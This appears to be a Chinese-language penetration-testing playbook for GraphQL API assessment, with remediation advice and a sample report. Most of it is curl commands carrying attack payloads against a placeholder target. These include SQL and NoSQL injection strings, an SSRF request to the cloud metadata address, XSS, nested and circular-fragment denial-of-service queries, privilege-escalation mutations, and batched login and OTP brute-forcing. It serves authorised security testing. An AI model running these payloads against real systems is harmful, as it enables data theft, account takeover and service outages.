| name | performing-graphql-security-assessment |
| description | 在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","graphql","api-security","owasp","web-security","introspection"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 GraphQL 安全评估(Performing GraphQL Security Assessment)
适用场景
- 在授权渗透测试期间,当目标应用程序使用 GraphQL API 时
- 评估通过 GraphQL 通信的单页应用程序(React、Vue、Angular)时
- 评估公开 GraphQL 端点的移动应用程序后端时
- 测试带有 GraphQL 网关或联邦的微服务架构时
- 在针对基于 GraphQL API 的漏洞赏金项目中
前置条件
- 授权:针对目标的书面渗透测试协议
- Burp Suite Professional:带有 InQL 扩展用于 GraphQL 扫描
- GraphQL Voyager:模式可视化工具
- InQL Scanner:用于 GraphQL 内省和查询生成的 Burp 扩展
- Altair GraphQL Client:用于交互式测试的桌面 GraphQL 客户端
- clairvoyance:禁用内省时的 GraphQL 模式枚举工具
- curl:手动 GraphQL 查询提交
工作流程
步骤 1:发现并指纹识别 GraphQL 端点
定位 GraphQL 端点并确认 GraphQL 正在运行。
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
步骤 2:执行模式内省
提取完整的 GraphQL 模式以了解 API 表面。
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
步骤 3:测试查询和变更的授权
验证访问控制是否在字段和对象级别强制执行。
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
步骤 4:测试注入漏洞
评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
步骤 5:测试拒绝服务攻击
评估查询复杂度限制和资源消耗控制。
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
步骤 6:测试批量请求绕过认证
使用查询批量来暴力破解凭据或绕过速率限制。
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
核心概念
| 概念 | 定义 |
|---|
| 内省(Introspection) | 公开完整模式、类型、字段和变更的 GraphQL 功能 |
| 查询深度(Query Depth) | GraphQL 查询的嵌套级别;深度过大的查询可能导致 DoS |
| 查询复杂度(Query Complexity) | 根据查询中每个字段的解析成本计算的分数 |
| 批量请求(Batching) | 在单个 HTTP 请求中发送多个查询以并行执行 |
| 别名(Aliases) | 允许以不同参数多次查询同一字段的 GraphQL 功能 |
| 片段(Fragments) | 可重用的字段选择,如果不验证可能导致循环引用 |
| N+1 问题(N+1 Problem) | 未优化的解析器导致嵌套字段指数级数据库查询 |
| 字段级授权(Field-level Authorization) | 应用于单个字段而非整个类型的访问控制 |
工具与系统
| 工具 | 用途 |
|---|
| InQL(Burp 扩展) | Burp Suite 的 GraphQL 内省扫描器和查询生成器 |
| GraphQL Voyager | 交互式模式可视化工具 |
| Altair GraphQL Client | 用于构造和测试查询的桌面 GraphQL IDE |
| clairvoyance | 禁用内省时的模式枚举工具 |
| graphql-cop | GraphQL 安全审计工具(pip install graphql-cop) |
| BatchQL | 用于速率限制绕过的 GraphQL 批量攻击工具 |
常见场景
场景 1:内省暴露内部模式
生产环境启用了内省,泄露了 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为进一步攻击提供了完整的路线图。
场景 2:缺少字段级授权
User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。
场景 3:批量登录绕过
GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。
场景 4:嵌套查询 DoS
社交网络 API 允许查询 friends { friends { friends { ... } } } 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询,造成拒绝服务。
输出格式
## GraphQL 安全评估报告
**目标**:https://target.example.com/graphql
**引擎**:Apollo Server 4.x
**评估日期**:2024-01-15
### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过(需要自定义头部) |
### 严重:通过 user 查询的 SQL 注入
**位置**:`user(name: String)` 查询参数
**载荷**:`{ user(name: "' OR 1=1--") { id email role } }`
**影响**:通过 GraphQL 接口完全读取数据库
### 高:批量认证绕过
**位置**:POST /graphql(数组请求体)
**载荷**:单个请求中包含 100 个登录变更的数组
**影响**:速率限制被绕过;每个 HTTP 请求可尝试 100 个密码
### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制(最大 7-10 层)
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理